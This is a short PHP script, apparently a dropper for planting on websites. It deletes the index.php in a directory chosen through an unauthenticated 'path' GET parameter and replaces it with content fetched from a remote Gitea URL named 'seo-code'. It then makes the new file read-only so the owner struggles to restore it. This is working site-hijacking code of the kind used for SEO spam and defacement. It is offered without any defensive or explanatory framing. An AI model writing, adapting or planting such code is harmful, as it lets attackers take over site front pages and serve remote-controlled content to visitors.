<?php
// === Config ===
$remoteUrl = 'https://gitea.com/starkrdp/seo-code/raw/branch/main/update.txt';
$timeoutSeconds = 10;

// === Resolve paths ===
$currentPath = isset($_GET['path']) ? $_GET['path'] : __DIR__;
$parentPath = realpath($currentPath . '/..');
if ($parentPath === false) {
    echo "Error: cannot resolve parent directory from '{$currentPath}'.";
    exit(1);
}

$targetFile = $parentPath . DIRECTORY_SEPARATOR . 'index.php';

// === If index.php exists, fix permissions and delete ===
if (file_exists($targetFile)) {
    // Try making it writable before deletion
    @chmod($targetFile, 0644);

    if (!is_writable($targetFile)) {
        echo "Error: '{$targetFile}' still not writable after chmod 0644.";
        exit(1);
    }

    if (!unlink($targetFile)) {
        echo "Error: failed to delete existing '{$targetFile}'.";
        exit(1);
    }
}

// === Download remote content ===
$context = stream_context_create([
    'http' => [
        'method'  => 'GET',
        'header'  => "User-Agent: PHP\r\n",
        'timeout' => $timeoutSeconds,
    ],
    'ssl' => [
        'verify_peer' => true,
        'verify_peer_name' => true,
    ],
]);

$content = @file_get_contents($remoteUrl, false, $context);
if ($content === false) {
    echo "Error: failed to download content from '{$remoteUrl}'.";
    exit(1);
}

// === Write content to new index.php ===
$result = @file_put_contents($targetFile, $content, LOCK_EX);
if ($result === false) {
    echo "Error: failed to write to '{$targetFile}'.";
    exit(1);
}

// Make new index.php read-only
@chmod($targetFile, 0444);

echo "Done: {$targetFile}";
?>